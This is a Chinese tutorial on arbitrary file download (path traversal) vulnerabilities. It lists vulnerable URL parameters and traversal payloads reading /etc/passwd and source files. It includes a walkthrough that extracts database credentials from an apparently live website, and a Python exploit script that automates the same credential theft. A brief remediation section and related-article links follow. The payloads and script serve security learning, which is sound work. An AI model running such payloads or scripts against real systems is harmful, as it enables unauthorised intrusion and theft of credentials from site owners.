任意文件下载漏洞

一 . 漏洞原理
任意文件下载 , 顾名思义 , 就是可以下载网站上面的任意文件.
一些网站提供文件下载的功能,但是如果对下载的文件没有做限制,直接通过绝对路径对其文件进行下载,那么,就可以利用这种方式下载服务器的其他文件。
二 .漏洞危害
危害大概可以分为两类:
1. 下载网站源码
2. 查看网站敏感文件( 数据库账户密码,配置文件等等 )
3. 如果获得了数据库账户密码,且对方网站开启了PHPmyadmin(Web端管理数据库),可登入后直接Getshell
三 . 可能出现的参数汇总
从url中看,以下参数容易出现任意文件下载漏洞

download.php?path=
download.php?file=
down.php?file=
data.php?file=

四 . 漏洞验证

比如URL : www.xxxx/download.php?path=/test/test.txt
  1. 在路径中加入 /a/…/来测试 ,因为我们多了一个路径,又返回到了上层,对结果不影响.看网站返回是否和之前一致
www.xxxx/download.php?path=/test/a/../test.txt
  1. 替换路径为 ./…/…/…/…/…/etc/passwd (Linux OS,提示: …/可以尽量多,对最终结果不影响)
www.xxxx/download.php?path=./../../../../../etc/passwd
  1. 直接下载路径前面的源代码: download.php?path=./download.php , 看是否可以下载下来
www.xxxx/download.php?path=./download.php

五. 漏洞实例

  1. 这里我们实战演示,首先找到下载的功能点 : 下载链接如下:
http://xxxx/download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.48.docx&fname=孤狗少年

  1. 重点来看其下载的路径:
download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.48.doc

这里它是通过绝对路径直接下载的,那么既有可能存在任意文件下载漏洞.
3. 漏洞验证:
这里我们将fpath后面的路径改为download.php测试:

download.php?fpath=./download.php

  1. 可以看到直接下载了download.php源代码,说明存在任意文件下载. 这里我们通过得到代码里面的信息再进一步获取其敏感信息

  2. 这里我们看到了 jasonwang826/jasonwang826.inc ,换路径,接着干

  3. 再来读取 JPDO.ini

  4. 这里读取不到了,这是常见的一种问题.原因很大就是路径不对.这里我们把JPDO.ini跟到jasonwang826/后面看看

  5. 果然,成功读取到数据库账户密码! biu特否

六. 漏洞利用Exp

import requests
import re
"""@ 模拟手工过程一步步获取相关文件并访问@ 注: 本代码仅供学习参考,请勿非法用途
"""
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
}def check():# 通过添加在路径里面添加 a/../来测试是否存在任意文件下载漏洞url = "http://xxxx/download.php?fpath=/jasonwang826-data/sys/resource/fpath_word.50.docx&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"url2 = "http://xxxx/download.php?fpath=/jasonwang826-data/a/../sys/resource/fpath_word.50.docx&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"req = requests.get(url=url,headers=headers)req2 = requests.get(url=url2,headers=headers)if req.status_code == req2.status_code:print("该网站存在任意文件下载漏洞")exp()else:print("该网站不存在任意文件下载漏洞")def exp():url = "http://xxxx/download.php?fpath=download.php&fname=%E3%80%90%E6%88%90%E8%AA%9E%E4%B8%80%E5%8D%83%E9%9B%B6%E4%B8%80%E5%A4%9C%E3%80%91%E8%90%BD%E9%9B%A3%E5%85%AC%E5%AD%90%E6%88%90%E5%8A%9F%E8%A8%98"req = requests.get(url=url,headers=headers)# print(req.text)# 正则匹配代码中包含的配置文件result = re.findall(r"require_once '(.*?)';", req.text, re.S | re.M)print("第一次读取到的目录为:",result[0])url2 = f"http://xxxx/download.php?fpath={result[0]}"print("开始读取:",url2)req2 = requests.get(url=url2,headers=headers)# print(req2.text)result2 = re.findall(r".'/(.*?)'", req2.text, re.S | re.M)print("第二次读取到的目录为:",result2[3])url3 = f"http://xxxx/download.php?fpath=jasonwang826/{result2[3]}"   # 路径在jasonwang826/下print("开始读取:",url3)req3 = requests.get(url=url3,headers=headers)print("读取成功,网站敏感信息如下:")print(req3.text)if __name__ == '__main__':check()

最终结果:

七. 漏洞修复

  1. 下载路径设置不可控,而是程序自动生成后保存在数据库中,根据ID进行下载
  2. 对参数做严格的过滤,比如禁止…/等符号.不让其进行目录遍历

Web安全(任意文件下载)相关推荐

  1. CTF web题总结--任意文件下载

    代码: @main.route('/static/<regex(".*"):file>') def handle_static_file(file):if file.s ...

  2. 【安全漏洞】一次前台任意文件下载漏洞挖掘

    1.起因 日常闲逛,翻到了某后台系统 先是日常手法操作了一番,弱口令走起 admin/123456 yyds! U1s1,这个后台功能点少的可怜,文件上传点更是别想 不过那个备份管理的界面引起了我的兴 ...

  3. (原创)浅谈任意文件下载漏洞的利用

    文章写的一般,如果有错误的地方,请指教~ 0x01 任意文件下载常见利用方式 0x02 信息收集部分 0x03 代码审计部分 0x04 总结 0x01 前言 在web语言中,php和java常常会产生 ...

  4. tomcat temp 大量 upload 文件_原创 | 浅谈URI中的任意文件下载

    点击上方蓝字 关注我吧引言 文件下载是比较常见的业务.常见的接口格式为/download?fileName=xxx.png,整个过程若没过滤目录穿越符号-/或者未对下载的路径进行处理限制.当传入的fi ...

  5. 任意文件下载漏洞知识点

    文章目录 资料下载 任意文件下载 漏洞描述 利用条件 漏洞危害 漏洞发现 链接上 参数上 案例 漏洞利用 利用原理 windows路径 linux路径 修复建议 摘抄 资料下载 点击 下载 https ...

  6. 任意文件下载(读取)

    目录 漏洞简介 产生原因 漏洞利用 常见敏感文件路径 Windows系统 Linux系统 Web应用 PHP ASP ASPX JSP 漏洞利用方法 注意事项 漏洞测试 漏洞简介 一些网站由于业务需求 ...

  7. 金蝶协同办公平台任意文件下载漏洞(无需登录)

    经测试发现,该系统存在任意文件下载,且无需登录 存在漏洞的文件: /oa/admin/application/file_download.jsp?filePath=http://x.x.x.x:789 ...

  8. 任意文件下载、文件读取

    目录 简介 危害 脑图 利用条件 测试思路 靶机测试 安装 Example 1 Example 2 Example 3 CMS测试 安装 利用过程 实战-1 FOFA 漏洞复现 实战-2 分析 漏洞修 ...

  9. 关于任意文件下载及上传漏洞

    文章目录 任意文件读取下载 1.原理 2.利用方式 3.漏洞修复 4.实例 任意文件上传 1.原理 2.分类 3.基本思路 4.基本绕过方式 1.客户端检测绕过(javascript 检测) 2.服务 ...

最新文章

  1. 职场潜规则:领导常说的10句话,学会3句以上你不会混的太差!
  2. spring boot 中启用 https
  3. 自制WiFiPineapple
  4. Raft与MongoDB复制集协议比较
  5. element-ui的表单校验;el-form表单校验;el-form表单自定义校验;手机号校验;车牌号校验;车牌号正则校验;
  6. oracle 创建更新定时任务,oracle 创建定时任务
  7. 阿里云服务器ip:端口号无法访问
  8. 合格前端系列第九弹-前端面试那些事
  9. 【唐宇迪】神经网络原理解读与整体架构
  10. 教你如何关闭445端口
  11. discuz制作自己的门户列表模板
  12. [翻译]X窗口管理器的原理剖析(一)
  13. HugePages 大内存页
  14. APP性能测试——内存测试
  15. 要装系统就装WINDOWSXPSP3VL正式版操作系统
  16. 泰山众筹如何实现用户主动裂变?
  17. W7计算机名称原名,w7系统版本名称与区别
  18. Win11打开安卓子系统步骤,所遇到的问题,以及解决办法
  19. CodeForces 366C Dima and Salad (背包dp)
  20. \0 的ASCII码值是多少

热门文章

  1. Android获取局域网所有设备的ip地址
  2. C# 图片与byte[]转换
  3. 【i.MX6ULL】驱动开发3——GPIO寄存器配置原理
  4. 【MySql】SQL语句DDL类
  5. 计算机中大量文件需要管理怎么办,怎么处理目标文件系统文件过大
  6. 第四章课后习题-用Python实现羊车门问题,最大公约数计算,猜字游戏,统计不同字符个数。
  7. ubuntu系统下的磁盘管理
  8. 日本计划建造世界上速度最快的超级计算机
  9. 介绍120 个相见恨晚的神器网站--学习、搜索、图片、视频样样不少!
  10. java中文分词的简单实现